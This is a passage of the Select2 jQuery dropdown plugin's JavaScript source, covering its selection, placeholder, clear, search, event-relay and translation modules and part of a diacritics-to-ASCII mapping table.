arguments);\r\n\r\n    this.$selection.on('click', function (evt) {\r\n      self.trigger('toggle', {\r\n        originalEvent: evt\r\n      });\r\n    });\r\n\r\n    this.$selection.on(\r\n      'click',\r\n      '.select2-selection__choice__remove',\r\n      function (evt) {\r\n        // Ignore the event if it is disabled\r\n        if (self.options.get('disabled')) {\r\n          return;\r\n        }\r\n\r\n        var $remove = $(this);\r\n        var $selection = $remove.parent();\r\n\r\n        var data = $selection.data('data');\r\n\r\n        self.trigger('unselect', {\r\n          originalEvent: evt,\r\n          data: data\r\n        });\r\n      }\r\n    );\r\n  };\r\n\r\n  MultipleSelection.prototype.clear = function () {\r\n    this.$selection.find('.select2-selection__rendered').empty();\r\n  };\r\n\r\n  MultipleSelection.prototype.display = function (data, container) {\r\n    var template = this.options.get('templateSelection');\r\n    var escapeMarkup = this.options.get('escapeMarkup');\r\n\r\n    return escapeMarkup(template(data, container));\r\n  };\r\n\r\n  MultipleSelection.prototype.selectionContainer = function () {\r\n    var $container = $(\r\n      '<li class=\"select2-selection__choice\">' +\r\n        '<span class=\"select2-selection__choice__remove\" role=\"presentation\">' +\r\n          '&times;' +\r\n        '</span>' +\r\n      '</li>'\r\n    );\r\n\r\n    return $container;\r\n  };\r\n\r\n  MultipleSelection.prototype.update = function (data) {\r\n    this.clear();\r\n\r\n    if (data.length === 0) {\r\n      return;\r\n    }\r\n\r\n    var $selections = [];\r\n\r\n    for (var d = 0; d < data.length; d++) {\r\n      var selection = data[d];\r\n\r\n      var $selection = this.selectionContainer();\r\n      var formatted = this.display(selection, $selection);\r\n\r\n      $selection.append(formatted);\r\n      $selection.prop('title', selection.title || selection.text);\r\n\r\n      $selection.data('data', selection);\r\n\r\n      $selections.push($selection);\r\n    }\r\n\r\n    var $rendered = this.$selection.find('.select2-selection__rendered');\r\n\r\n    Utils.appendMany($rendered, $selections);\r\n  };\r\n\r\n  return MultipleSelection;\r\n});\r\n\r\nS2.define('select2/selection/placeholder',[\r\n  '../utils'\r\n], function (Utils) {\r\n  function Placeholder (decorated, $element, options) {\r\n    this.placeholder = this.normalizePlaceholder(options.get('placeholder'));\r\n\r\n    decorated.call(this, $element, options);\r\n  }\r\n\r\n  Placeholder.prototype.normalizePlaceholder = function (_, placeholder) {\r\n    if (typeof placeholder === 'string') {\r\n      placeholder = {\r\n        id: '',\r\n        text: placeholder\r\n      };\r\n    }\r\n\r\n    return placeholder;\r\n  };\r\n\r\n  Placeholder.prototype.createPlaceholder = function (decorated, placeholder) {\r\n    var $placeholder = this.selectionContainer();\r\n\r\n    $placeholder.html(this.display(placeholder));\r\n    $placeholder.addClass('select2-selection__placeholder')\r\n                .removeClass('select2-selection__choice');\r\n\r\n    return $placeholder;\r\n  };\r\n\r\n  Placeholder.prototype.update = function (decorated, data) {\r\n    var singlePlaceholder = (\r\n      data.length == 1 && data[0].id != this.placeholder.id\r\n    );\r\n    var multipleSelections = data.length > 1;\r\n\r\n    if (multipleSelections || singlePlaceholder) {\r\n      return decorated.call(this, data);\r\n    }\r\n\r\n    this.clear();\r\n\r\n    var $placeholder = this.createPlaceholder(this.placeholder);\r\n\r\n    this.$selection.find('.select2-selection__rendered').append($placeholder);\r\n  };\r\n\r\n  return Placeholder;\r\n});\r\n\r\nS2.define('select2/selection/allowClear',[\r\n  'jquery',\r\n  '../keys'\r\n], function ($, KEYS) {\r\n  function AllowClear () { }\r\n\r\n  AllowClear.prototype.bind = function (decorated, container, $container) {\r\n    var self = this;\r\n\r\n    decorated.call(this, container, $container);\r\n\r\n    if (this.placeholder == null) {\r\n      if (this.options.get('debug') && window.console && console.error) {\r\n        console.error(\r\n          'Select2: The `allowClear` option should be used in combination ' +\r\n          'with the `placeholder` option.'\r\n        );\r\n      }\r\n    }\r\n\r\n    this.$selection.on('mousedown', '.select2-selection__clear',\r\n      function (evt) {\r\n        self._handleClear(evt);\r\n    });\r\n\r\n    container.on('keypress', function (evt) {\r\n      self._handleKeyboardClear(evt, container);\r\n    });\r\n  };\r\n\r\n  AllowClear.prototype._handleClear = function (_, evt) {\r\n    // Ignore the event if it is disabled\r\n    if (this.options.get('disabled')) {\r\n      return;\r\n    }\r\n\r\n    var $clear = this.$selection.find('.select2-selection__clear');\r\n\r\n    // Ignore the event if nothing has been selected\r\n    if ($clear.length === 0) {\r\n      return;\r\n    }\r\n\r\n    evt.stopPropagation();\r\n\r\n    var data = $clear.data('data');\r\n\r\n    for (var d = 0; d < data.length; d++) {\r\n      var unselectData = {\r\n        data: data[d]\r\n      };\r\n\r\n      // Trigger the `unselect` event, so people can prevent it from being\r\n      // cleared.\r\n      this.trigger('unselect', unselectData);\r\n\r\n      // If the event was prevented, don't clear it out.\r\n      if (unselectData.prevented) {\r\n        return;\r\n      }\r\n    }\r\n\r\n    this.$element.val(this.placeholder.id).trigger('change');\r\n\r\n    this.trigger('toggle', {});\r\n  };\r\n\r\n  AllowClear.prototype._handleKeyboardClear = function (_, evt, container) {\r\n    if (container.isOpen()) {\r\n      return;\r\n    }\r\n\r\n    if (evt.which == KEYS.DELETE || evt.which == KEYS.BACKSPACE) {\r\n      this._handleClear(evt);\r\n    }\r\n  };\r\n\r\n  AllowClear.prototype.update = function (decorated, data) {\r\n    decorated.call(this, data);\r\n\r\n    if (this.$selection.find('.select2-selection__placeholder').length > 0 ||\r\n        data.length === 0) {\r\n      return;\r\n    }\r\n\r\n    var $remove = $(\r\n      '<span class=\"select2-selection__clear\">' +\r\n        '&times;' +\r\n      '</span>'\r\n    );\r\n    $remove.data('data', data);\r\n\r\n    this.$selection.find('.select2-selection__rendered').prepend($remove);\r\n  };\r\n\r\n  return AllowClear;\r\n});\r\n\r\nS2.define('select2/selection/search',[\r\n  'jquery',\r\n  '../utils',\r\n  '../keys'\r\n], function ($, Utils, KEYS) {\r\n  function Search (decorated, $element, options) {\r\n    decorated.call(this, $element, options);\r\n  }\r\n\r\n  Search.prototype.render = function (decorated) {\r\n    var $search = $(\r\n      '<li class=\"select2-search select2-search--inline\">' +\r\n        '<input class=\"select2-search__field\" type=\"search\" tabindex=\"-1\"' +\r\n        ' autocomplete=\"off\" autocorrect=\"off\" autocapitalize=\"off\"' +\r\n        ' spellcheck=\"false\" role=\"textbox\" aria-autocomplete=\"list\" />' +\r\n      '</li>'\r\n    );\r\n\r\n    this.$searchContainer = $search;\r\n    this.$search = $search.find('input');\r\n\r\n    var $rendered = decorated.call(this);\r\n\r\n    this._transferTabIndex();\r\n\r\n    return $rendered;\r\n  };\r\n\r\n  Search.prototype.bind = function (decorated, container, $container) {\r\n    var self = this;\r\n\r\n    decorated.call(this, container, $container);\r\n\r\n    container.on('open', function () {\r\n      self.$search.trigger('focus');\r\n    });\r\n\r\n    container.on('close', function () {\r\n      self.$search.val('');\r\n      self.$search.removeAttr('aria-activedescendant');\r\n      self.$search.trigger('focus');\r\n    });\r\n\r\n    container.on('enable', function () {\r\n      self.$search.prop('disabled', false);\r\n\r\n      self._transferTabIndex();\r\n    });\r\n\r\n    container.on('disable', function () {\r\n      self.$search.prop('disabled', true);\r\n    });\r\n\r\n    container.on('focus', function (evt) {\r\n      self.$search.trigger('focus');\r\n    });\r\n\r\n    container.on('results:focus', function (params) {\r\n      self.$search.attr('aria-activedescendant', params.id);\r\n    });\r\n\r\n    this.$selection.on('focusin', '.select2-search--inline', function (evt) {\r\n      self.trigger('focus', evt);\r\n    });\r\n\r\n    this.$selection.on('focusout', '.select2-search--inline', function (evt) {\r\n      self._handleBlur(evt);\r\n    });\r\n\r\n    this.$selection.on('keydown', '.select2-search--inline', function (evt) {\r\n      evt.stopPropagation();\r\n\r\n      self.trigger('keypress', evt);\r\n\r\n      self._keyUpPrevented = evt.isDefaultPrevented();\r\n\r\n      var key = evt.which;\r\n\r\n      if (key === KEYS.BACKSPACE && self.$search.val() === '') {\r\n        var $previousChoice = self.$searchContainer\r\n          .prev('.select2-selection__choice');\r\n\r\n        if ($previousChoice.length > 0) {\r\n          var item = $previousChoice.data('data');\r\n\r\n          self.searchRemoveChoice(item);\r\n\r\n          evt.preventDefault();\r\n        }\r\n      }\r\n    });\r\n\r\n    // Try to detect the IE version should the `documentMode` property that\r\n    // is stored on the document. This is only implemented in IE and is\r\n    // slightly cleaner than doing a user agent check.\r\n    // This property is not available in Edge, but Edge also doesn't have\r\n    // this bug.\r\n    var msie = document.documentMode;\r\n    var disableInputEvents = msie && msie <= 11;\r\n\r\n    // Workaround for browsers which do not support the `input` event\r\n    // This will prevent double-triggering of events for browsers which support\r\n    // both the `keyup` and `input` events.\r\n    this.$selection.on(\r\n      'input.searchcheck',\r\n      '.select2-search--inline',\r\n      function (evt) {\r\n        // IE will trigger the `input` event when a placeholder is used on a\r\n        // search box. To get around this issue, we are forced to ignore all\r\n        // `input` events in IE and keep using `keyup`.\r\n        if (disableInputEvents) {\r\n          self.$selection.off('input.search input.searchcheck');\r\n          return;\r\n        }\r\n\r\n        // Unbind the duplicated `keyup` event\r\n        self.$selection.off('keyup.search');\r\n      }\r\n    );\r\n\r\n    this.$selection.on(\r\n      'keyup.search input.search',\r\n      '.select2-search--inline',\r\n      function (evt) {\r\n        // IE will trigger the `input` event when a placeholder is used on a\r\n        // search box. To get around this issue, we are forced to ignore all\r\n        // `input` events in IE and keep using `keyup`.\r\n        if (disableInputEvents && evt.type === 'input') {\r\n          self.$selection.off('input.search input.searchcheck');\r\n          return;\r\n        }\r\n\r\n        var key = evt.which;\r\n\r\n        // We can freely ignore events from modifier keys\r\n        if (key == KEYS.SHIFT || key == KEYS.CTRL || key == KEYS.ALT) {\r\n          return;\r\n        }\r\n\r\n        // Tabbing will be handled during the `keydown` phase\r\n        if (key == KEYS.TAB) {\r\n          return;\r\n        }\r\n\r\n        self.handleSearch(evt);\r\n      }\r\n    );\r\n  };\r\n\r\n  /**\r\n   * This method will transfer the tabindex attribute from the rendered\r\n   * selection to the search box. This allows for the search box to be used as\r\n   * the primary focus instead of the selection container.\r\n   *\r\n   * @private\r\n   */\r\n  Search.prototype._transferTabIndex = function (decorated) {\r\n    this.$search.attr('tabindex', this.$selection.attr('tabindex'));\r\n    this.$selection.attr('tabindex', '-1');\r\n  };\r\n\r\n  Search.prototype.createPlaceholder = function (decorated, placeholder) {\r\n    this.$search.attr('placeholder', placeholder.text);\r\n  };\r\n\r\n  Search.prototype.update = function (decorated, data) {\r\n    var searchHadFocus = this.$search[0] == document.activeElement;\r\n\r\n    this.$search.attr('placeholder', '');\r\n\r\n    decorated.call(this, data);\r\n\r\n    this.$selection.find('.select2-selection__rendered')\r\n                   .append(this.$searchContainer);\r\n\r\n    this.resizeSearch();\r\n    if (searchHadFocus) {\r\n      this.$search.focus();\r\n    }\r\n  };\r\n\r\n  Search.prototype.handleSearch = function () {\r\n    this.resizeSearch();\r\n\r\n    if (!this._keyUpPrevented) {\r\n      var input = this.$search.val();\r\n\r\n      this.trigger('query', {\r\n        term: input\r\n      });\r\n    }\r\n\r\n    this._keyUpPrevented = false;\r\n  };\r\n\r\n  Search.prototype.searchRemoveChoice = function (decorated, item) {\r\n    this.trigger('unselect', {\r\n      data: item\r\n    });\r\n\r\n    this.$search.val(item.text);\r\n    this.handleSearch();\r\n  };\r\n\r\n  Search.prototype.resizeSearch = function () {\r\n    this.$search.css('width', '25px');\r\n\r\n    var width = '';\r\n\r\n    if (this.$search.attr('placeholder') !== '') {\r\n      width = this.$selection.find('.select2-selection__rendered').innerWidth();\r\n    } else {\r\n      var minimumWidth = this.$search.val().length + 1;\r\n\r\n      width = (minimumWidth * 0.75) + 'em';\r\n    }\r\n\r\n    this.$search.css('width', width);\r\n  };\r\n\r\n  return Search;\r\n});\r\n\r\nS2.define('select2/selection/eventRelay',[\r\n  'jquery'\r\n], function ($) {\r\n  function EventRelay () { }\r\n\r\n  EventRelay.prototype.bind = function (decorated, container, $container) {\r\n    var self = this;\r\n    var relayEvents = [\r\n      'open', 'opening',\r\n      'close', 'closing',\r\n      'select', 'selecting',\r\n      'unselect', 'unselecting'\r\n    ];\r\n\r\n    var preventableEvents = ['opening', 'closing', 'selecting', 'unselecting'];\r\n\r\n    decorated.call(this, container, $container);\r\n\r\n    container.on('*', function (name, params) {\r\n      // Ignore events that should not be relayed\r\n      if ($.inArray(name, relayEvents) === -1) {\r\n        return;\r\n      }\r\n\r\n      // The parameters should always be an object\r\n      params = params || {};\r\n\r\n      // Generate the jQuery event for the Select2 event\r\n      var evt = $.Event('select2:' + name, {\r\n        params: params\r\n      });\r\n\r\n      self.$element.trigger(evt);\r\n\r\n      // Only handle preventable events if it was one\r\n      if ($.inArray(name, preventableEvents) === -1) {\r\n        return;\r\n      }\r\n\r\n      params.prevented = evt.isDefaultPrevented();\r\n    });\r\n  };\r\n\r\n  return EventRelay;\r\n});\r\n\r\nS2.define('select2/translation',[\r\n  'jquery',\r\n  'require'\r\n], function ($, require) {\r\n  function Translation (dict) {\r\n    this.dict = dict || {};\r\n  }\r\n\r\n  Translation.prototype.all = function () {\r\n    return this.dict;\r\n  };\r\n\r\n  Translation.prototype.get = function (key) {\r\n    return this.dict[key];\r\n  };\r\n\r\n  Translation.prototype.extend = function (translation) {\r\n    this.dict = $.extend({}, translation.all(), this.dict);\r\n  };\r\n\r\n  // Static functions\r\n\r\n  Translation._cache = {};\r\n\r\n  Translation.loadPath = function (path) {\r\n    if (!(path in Translation._cache)) {\r\n      var translations = require(path);\r\n\r\n      Translation._cache[path] = translations;\r\n    }\r\n\r\n    return new Translation(Translation._cache[path]);\r\n  };\r\n\r\n  return Translation;\r\n});\r\n\r\nS2.define('select2/diacritics',[\r\n], function () {\r\n  var diacritics = {\r\n    '\\u24B6': 'A',\r\n    '\\uFF21': 'A',\r\n    '\\u00C0': 'A',\r\n    '\\u00C1': 'A',\r\n    '\\u00C2': 'A',\r\n    '\\u1EA6': 'A',\r\n    '\\u1EA4': 'A',\r\n    '\\u1EAA': 'A',\r\n    '\\u1EA8': 'A',\r\n    '\\u00C3': 'A',\r\n    '\\u0100': 'A',\r\n    '\\u0102': 'A',\r\n    '\\u1EB0': 'A',\r\n    '\\u1EAE': 'A',\r\n    '\\u1EB4': 'A',\r\n    '\\u1EB2': 'A',\r\n    '\\u0226': 'A',\r\n    '\\u01E0': 'A',\r\n    '\\u00C4': 'A',\r\n    '\\u01DE': 'A',\r\n    '\\u1EA2': 'A',\r\n    '\\u00C5': 'A',\r\n    '\\u01FA': 'A',\r\n    '\\u01CD': 'A',\r\n    '\\u0200': 'A',\r\n    '\\u0202': 'A',\r\n    '\\u1EA0': 'A',\r\n    '\\u1EAC': 'A',\r\n    '\\u1EB6': 'A',\r\n    '\\u1E00': 'A',\r\n    '\\u0104': 'A',\r\n    '\\u023A': 'A',\r\n    '\\u2C6F': 'A',\r\n    '\\uA732': 'AA',\r\n    '\\u00C6': 'AE',\r\n    '\\u01FC': 'AE',\r\n    '\\u01E2': 'AE',\r\n    '\\uA734': 'AO',\r\n    '\\uA736': 'AU',\r\n    '\\uA738': 'AV',\r\n    '\\uA73A': 'AV',\r\n    '\\uA73C': 'AY',\r\n    '\\u24B7': 'B',\r\n    '\\uFF22': 'B',\r\n    '\\u1E02': 'B',\r\n    '\\u1E04': 'B',\r\n    '\\u1E06': 'B',\r\n    '\\u0243': 'B',\r\n    '\\u0182': 'B',\r\n    '\\u0181': 'B',\r\n    '\\u24B8': 'C',\r\n    '\\uFF23': 'C',\r\n    '\\u0106': 'C',\r\n    '\\u0108': 'C',\r\n    '\\u010A': 'C',\r\n    '\\u010C': 'C',\r\n    '\\u00C7': 'C',\r\n    '\\u1E08': 'C',\r\n    '\\u0187': 'C',\r\n    '\\u023B': 'C',\r\n    '\\uA73E': 'C',\r\n    '\\u24B9': 'D',\r\n    '\\uFF24': 'D',\r\n    '\\u1E0A': 'D',\r\n    '\\u010E': 'D',\r\n    '\\u1E0C': 'D',\r\n    '\\u1E10': 'D',\r\n    '\\u1E12': 'D',\r\n    '\\u1E0E': 'D',\r\n    '\\u0110': 'D',\r\n    '\\u018B': 'D',\r\n    '\\u018A': 'D',\r\n    '\\u0189': 'D',\r\n    '\\uA779': 'D',\r\n    '\\u01F1': 'DZ',\r\n    '\\u01C4': 'DZ',\r\n    '\\u01F2': 'Dz',\r\n    '\\u01C5': 'Dz',\r\n    '\\u24BA': 'E',\r\n    '\\uFF25': 'E',\r\n    '\\u00C8': 'E',\r\n    '\\u00C9': 'E',\r\n    '\\u00CA': 'E',\r\n    '\\u1EC0': 'E',\r\n    '\\u1EBE': 'E',\r\n    '\\u1EC4': 'E',\r\n    '\\u1EC2': 'E',\r\n    '\\u1EBC': 'E',\r\n    '\\u0112': 'E',\r\n    '\\u1E14': 'E',\r\n    '\\u1E16': 'E',\r\n    '\\u0114': 'E',\r\n    '\\u0116': 'E',\r\n    '\\u00CB': 'E',\r\n    '\\u1EBA': 'E',\r\n    '\\u011A': 'E',\r\n    '\\u0204': 'E',\r\n    '\\u0206': 'E',\r\n    '\\u1EB8': 'E',\r\n    '\\u1EC6': 'E',\r\n    '\\u0228': 'E',\r\n    '\\u1E1C': 'E',\r\n    '\\u0118': 'E',\r\n    '\\u1E18': 'E',\r\n    '\\u1E1A': 'E',\r\n    '\\u0190': 'E',\r\n    '\\u018E': 'E',\r\n    '\\u24BB': 'F',\r\n    '\\uFF26': 'F',\r\n    '\\u1E1E': 'F',\r\n    '\\u0191': 'F',\r\n    '\\uA77B': 'F',\r\n    '\\u24BC': 'G',\r\n    '\\uFF27': 'G',\r\n    '\\u01F4': 'G',\r\n    '\\u011C': 'G',\r\n    '\\u1E20': 'G',\r\n    '\\u011E': 'G',\r\n    '\\u0120': 'G',\r\n    '\\u01E6': 'G',\r\n    '\\u0122': 'G',\r\n    '\\u01E4': 'G',\r\n    '\\u0193': 'G',\r\n    '\\uA7A0': 'G',\r\n    '\\uA77D': 'G',\r\n    '\\uA77E': 'G',\r\n    '\\u24BD': 'H',\r\n    '\\uFF28': 'H',\r\n    '\\u0124': 'H',\r\n    '\\u1E22': 'H',\r\n    '\\u1E26': 'H',\r\n    '\\u021E': 'H',\r\n    '\\u1E24': 'H',\r\n    '\\u1E28': 'H',\r\n    '\\u1E2A': 'H',\r\n    '\\u0126': 'H',\r\n    '\\u2C67': 'H',\r\n    '\\u2C75': 'H',\r\n    '\\uA78D': 'H',\r\n    '\\u24BE': 'I',\r\n    '\\uFF29': 'I',\r\n    '\\u00CC': 'I',\r\n    '\\u00CD': 'I',\r\n    '\\u00CE': 'I',\r\n    '\\u0128': 'I',\r\n    '\\u012A': 'I',\r\n    '\\u012C': 'I',\r\n    '\\u0130': 'I',\r\n    '\\u00CF': 'I',\r\n    '\\u1E2E': 'I',\r\n    '\\u1EC8': 'I',\r\n    '\\u01CF': 'I',\r\n    '\\u0208': 'I',\r\n    '\\u020A': 'I',\r\n    '\\u1ECA': 'I',\r\n    '\\u012E': 'I',\r\n    '\\u1E2C': 'I',\r\n    '\\u0197': 'I',\r\n    '\\u24BF': 'J',\r\n    '\\uFF2A': 'J',\r\n    '\\u0134': 'J',\r\n    '\\u0248': 'J',\r\n    '\\u24C0': 'K',\r\n    '\\uFF2B': 'K',\r\n    '\\u1E30': 'K',\r\n    '\\u01E8': 'K',\r\n    '\\u1E32': 'K',\r\n    '\\u0136': 'K',\r\n    '\\u1E34': 'K',\r\n    '\\u0198': 'K',\r\n    '\\u2C69': 'K',\r\n    '\\uA740': 'K',\r\n    '\\uA742': 'K',\r\n    '\\uA744': 'K',\r\n    '\\uA7A2': 'K',\r\n    '\\u24C1': 'L',\r\n    '\\uFF2C': 'L',\r\n    '\\u013F': 'L',\r\n    '\\u0139': 'L',\r\n    '\\u013D': 'L',\r\n    '\\u1E36': 'L',\r\n    '\\u1E38': 'L',\r\n    '\\u013B': 'L',\r\n    '\\u1E3C': 'L',\r\n    '\\u1E3A': 'L',\r\n    '\\u0141': 'L',\r\n    '\\u023D': 'L',\r\n    '\\u2C62': 'L',\r\n    '\\u2C60': 'L',\r\n    '\\uA748': 'L',\r\n    '\\uA746': 'L',\r\n    '\\uA780': 'L',\r\n    '\\u01C7': 'LJ',\r\n    '\\u01C8': 'Lj',\r\n    '\\u24C2': 'M',\r\n    '\\uFF2D': 'M',\r\n    '\\u1E3E': 'M',\r\n    '\\u1E40': 'M',\r\n    '\\u1E42': 'M',\r\n    '\\u2C6E': 'M',\r\n    '\\u019C': 'M',\r\n    '\\u24C3': 'N',\r\n    '\\uFF2E': 'N',\r\n    '\\u01F8': 'N',\r\n    '\\u0143': 'N',\r\n    '\\u00D1': 'N',\r\n    '\\u1E44': 'N',\r\n    '\\u0147': 'N',\r\n    '\\u1E46': 'N',\r\n    '\\u0145': 'N',\r\n    '\\u1E4A': 'N',\r\n    '\\u1E48': 'N',\r\n    '\\u0220': 'N',\r\n    '\\u019D': 'N',\r\n    '\\uA790': 'N',\r\n    '\\uA7A4': 'N',\r\n    '\\u01CA': 'NJ',\r\n    '\\u01CB': 'Nj',\r\n    '\\u24C4': 'O',\r\n    '\\uFF2F': 'O',\r\n    '\\u00D2': 'O',\r\n    '\\u00D3': 'O',\r\n    '\\u00D4': 'O',\r\n    '\\u1ED2': 'O',\r\n    '\\u1ED0': 'O',\r\n    '\\u1ED6': 'O',\r\n    '\\u1ED4': 'O',\r\n    '\\u00D5': 'O',\r\n    '\\u1E4C': 'O',\r\n    '\\u022C': 'O',\r\n    '\\u1E4E': 'O',\r\n    '\\u014C': 'O',\r\n    '\\u1E50': 'O',\r\n    '\\u1E52': 'O',\r\n    '\\u014E': 'O',\r\n    '\\u022E': 'O',\r\n    '\\u0230': 'O',\r\n    '\\u00D6': 'O',\r\n    '\\u022A': 'O',\r\n    '\\u1ECE': 'O',\r\n    '\\u0150': 'O',\r\n    '\\u01D1': 'O',\r\n    '\\u020C': 'O',\r\n    '\\u020E': 'O',\r\n    '\\u01A0': 'O',\r\n    '\\u1EDC': 'O',\r\n    '\\u1EDA': 'O',\r\n    '\\u1EE0': 'O',\r\n    '\\u1EDE': 'O',\r\n    '\\u1EE2': 'O',\r\n    '\\u1ECC': 'O',\r\n    '\\u1ED8': 'O',\r\n    '\\u01EA': 'O',\r\n    '\\u01EC': 'O',\r\n    '\\u00D8': 'O',\r\n    '\\u01FE': 'O',\r\n    '\\u0186': 'O',\r\n    '\\u019F': 'O',\r\n    '\\uA74A': 'O',\r\n    '\\uA74C': 'O',\r\n    '\\u01A2': 'OI',\r\n    '\\uA74E': 'OO',\r\n    '\\u0222': 'OU',\r\n    '\\u24C5': 'P',\r\n    '\\uFF30': 'P',\r\n    '\\u1E54': 'P',\r\n    '\\u1E56': 'P',\r\n    '\\u01A4': 'P',\r\n    '\\u2C63': 'P',\r\n    '\\uA750': 'P',\r\n    '\\uA752': 'P',\r\n    '\\uA754': 'P',\r\n    '\\u24C6': 'Q',\r\n    '\\uFF31': 'Q',\r\n    '\\uA756': 'Q',\r\n    '\\uA758': 'Q',\r\n    '\\u024A': 'Q',\r\n    '\\u24C7': 'R',\r\n    '\\uFF32': 'R',\r\n    '\\u0154': 'R',\r\n    '\\u1E58': 'R',\r\n    '\\u0158': 'R',\r\n    '\\u0210': 'R',\r\n    '\\u0212': 'R',\r\n    '\\u1E5A': 'R',\r\n    '\\u1E5C': 'R',\r\n    '\\u0156': 'R',\r\n    '\\u1E5E': 'R',\r\n    '\\u024C': 'R',\r\n    '\\u2C64': 'R',\r\n    '\\uA75A': 'R',\r\n    '\\uA7A6': 'R',\r\n    '\\uA782': 'R',\r\n    '\\u24C8': 'S',\r\n    '\\uFF33': 'S',\r\n    '\\u1E9E': 'S',\r\n    '\\u015A': 'S',\r\n    '\\u1E64': 'S',\r\n    '\\u015C': 'S',\r\n    '\\u1E60': 'S',\r\n    '\\u0160': 'S',\r\n    '\\u1E66': 'S',\r\n    '\\u1E62': 'S',\r\n    '\\u1E68': 'S',\r\n    '\\u0218': 'S',\r\n    '\\u015E': 'S',\r\n    '\\u2C7E': 'S',\r\n    '\\uA7A8': 'S',\r\n    '\\uA784': 'S',\r\n    '\\u24C9': 'T',\r\n    '\\uFF34': 'T',\r\n    '\\u1E6A': 'T',\r\n    '\\u0164': 'T',\r\n    '\\u1E6C': 'T',\r\n    '\\u021A': 'T',\r\n    '\\u0162': 'T',\r\n    '\\u1E70': 'T',\r\n    '\\u1E6E': 'T',\r\n    '\\u0166': 'T',\r\n    '\\u01AC': 'T',\r\n    '\\u01AE': 'T',\r\n    '\\u023E': 'T',\r\n    '\\uA786': 'T',\r\n    '\\uA728': 'TZ',\r\n    '\\u24CA': 'U',\r\n    '\\uFF35': 'U',\r\n    '\\u00D9': 'U',\r\n    '\\u00DA': 'U',\r\n    '\\u00DB': 'U',\r\n    '\\u0168': 'U',\r\n    '\\u1E78': 'U',\r\n    '\\u016A': 'U',\r\n    '\\u1E7A': 'U',\r\n    '\\u016C': 'U',\r\n    '\\u00DC': 'U',\r\n    '\\u01DB': 'U',\r\n    '\\u01D7': 'U',\r\n    '\\u01D5': 'U',\r\n    '\\u01D9': 'U',\r\n    '\\u1EE6': 'U',\r\n    '\\u016E': 'U',\r\n    '\\u0170': 'U',\r\n    '\\u01D3': 'U',\r\n    '\\u0214': 'U',\r\n    '\\u0216': 'U',\r\n    '\\u01AF': 'U',\r\n    '\\u1EEA': 'U',\r\n    '\\u1EE8': 'U',\r\n    '\\u1EEE': 'U',\r\n    '\\u1EEC': 'U',\r\n    '\\u1EF0': 'U',\r\n    '\\u1EE4': 'U',\r\n    '\\u1E72': 'U',\r\n    '\\u0172': 'U',\r\n    '\\u1E76': 'U',\r\n    '\\u1E74': 'U',\r\n    '\\u0244': 'U',\r\n    '\\u24CB': 'V',\r\n    '\\uFF36': 'V',\r\n    '\\u1E7C': 'V',\r\n    '\\u1E7E': 'V',\r\n    '\\u01B2': 'V',\r\n    '\\uA75E': 'V',\r\n    '\\u0245': 'V',\r\n    '\\uA760': 'VY',\r\n    '\\u24CC': 'W',\r\n    '\\uFF37': 'W',\r\n    '\\u1E80': 'W',\r\n    '\\u1E82': 'W',\r\n    '\\u0174': 'W',\r\n    '\\u1E86': 'W',\r\n    '\\u1E84': 'W',\r\n    '\\u1E88': 'W',\r\n    '\\u2C72': 'W',\r\n    '\\u24CD': 'X',\r\n    '\\uFF38': 'X',\r\n    '\\u1E8A': 'X',\r\n    '\\u1E8C': 'X',\r\n    '\\u24CE': 'Y',\r\n    '\\uFF39': 'Y',\r\n    '\\u1EF2': 'Y',\r\n    '\\u00DD': 'Y',\r\n    '\\u0176': 'Y',\r\n    '\\u1EF8': 'Y',\r\n    '\\u0232': 'Y',\r\n    '\\u1E8E': 'Y',\r\n    '\\u0178': 'Y',\r\n    '\\u1EF6': 'Y',\r\n    '\\u1EF4': 'Y',\r\n    '\\u01B3': 'Y',\r\n    '\\u024E': 'Y',\r\n    '\\u1EFE': 'Y',\r\n    '\\u24CF': 'Z',\r\n    '\\uFF3A': 'Z',\r\n    '\\u0179': 'Z',\r\n    '\\u1E90': 'Z',\r\n    '\\u017B': 'Z',\r\n    '\\u017D': 'Z',\r\n    '\\u1E92': 'Z',\r\n    '\\u1E94': 'Z',\r\n    '\\u01B5': 'Z',\r\n    '\\u0224': 'Z',\r\n    '\\u2C7F': 'Z',\r\n    '\\u2C6B': 'Z',\r\n    '\\uA762': 'Z',\r\n    '\\u24D0': 'a',\r\n    '\\uFF41': 'a',\r\n    '\\u1E9A': 'a',\r\n    '\\u00E0': 'a',\r\n    '\\u00E1': 'a',\r\n    '\\u00E2': 'a',\r\n    '\\u1EA7': 'a',\r\n    '\\u1EA5': 'a',\r\n    '\\u1EAB': 'a',\r\n    '\\u1EA9': 'a',\r\n    '\\u00E3': 'a',\r\n    '\\u0101': 'a',\r\n    '\\u0103': 'a',\r\n    '\\u1EB1': 'a',\r\n    '\\u1EAF': 'a',\r\n    '\\u1EB5': 'a',\r\n    '\\u1EB3': 'a',\r\n    '\\u0227': 'a',\r\n    '\\u01E1': 'a',\r\n    '\\u00E4': 'a',\r\n    '\\u01DF': 'a',\r\n    '\\u1EA3': 'a',\r\n    '\\u00E5': 'a',\r\n    '\\u01FB': 'a',\r\n    '\\u01CE': 'a',\r\n    '\\u0201': 'a',\r\n    '\\u0203': 'a',\r\n    '\\u1EA1': 'a',\r\n    '\\u1EAD': 'a',\r\n    '\\u1EB7': 'a',\r\n    '\\u1E01': 'a',\r\n    '\\u0105': 'a',\r\n    '\\u2C65': 'a',\r\n    '\\u0250': 'a',\r\n    '\\uA733': 'aa',\r\n    '\\u00E6': 'ae',\r\n    '\\u01FD': 'ae',\r\n    '\\u01E3': 'ae',\r\n    '\\uA735': 'ao',\r\n    '\\uA737': 'au',\r\n    '\\uA739': 'av',\r\n    '\\uA73B': 'av',\r\n    '\\uA73D': 'ay',\r\n    '\\u24D1': 'b',\r\n    '\\uFF42': 'b',\r\n    '\\u1E03': 'b',\r\n    '\\u1E05': 'b',\r\n    '\\u1E07': 'b',\r\n    '\\u0180': 'b',\r\n    '\\u0183': 'b',\r\n    '\\u0253': 'b',\r\n    '\\u24D2': 'c',\r\n    '\\uFF43': 'c',\r\n    '\\u0107': 'c',\r\n    '\\u0109': 'c',\r\n    '\\u010B': 'c',\r\n    '\\u010D': 'c',\r\n    '\\u00E7': 'c',\r\n    '\\u1E09': 'c',\r\n    '\\u0188': 'c',\r\n    '\\u023C': 'c',\r\n    '\\uA73F': 'c',\r\n    '\\u2184': 'c',\r\n    '\\u24D3': 'd',\r\n    '\\uFF44': 'd',\r\n    '\\u1E0B': 'd',\r\n    '\\u010F': 'd',\r\n    '\\u1E0D': 'd',\r\n    '\\u1E11': 'd',\r\n    '\\u1E13': 'd',\r\n    '\\u1E0F': 'd',\r\n    '\\u0111': 'd',\r\n    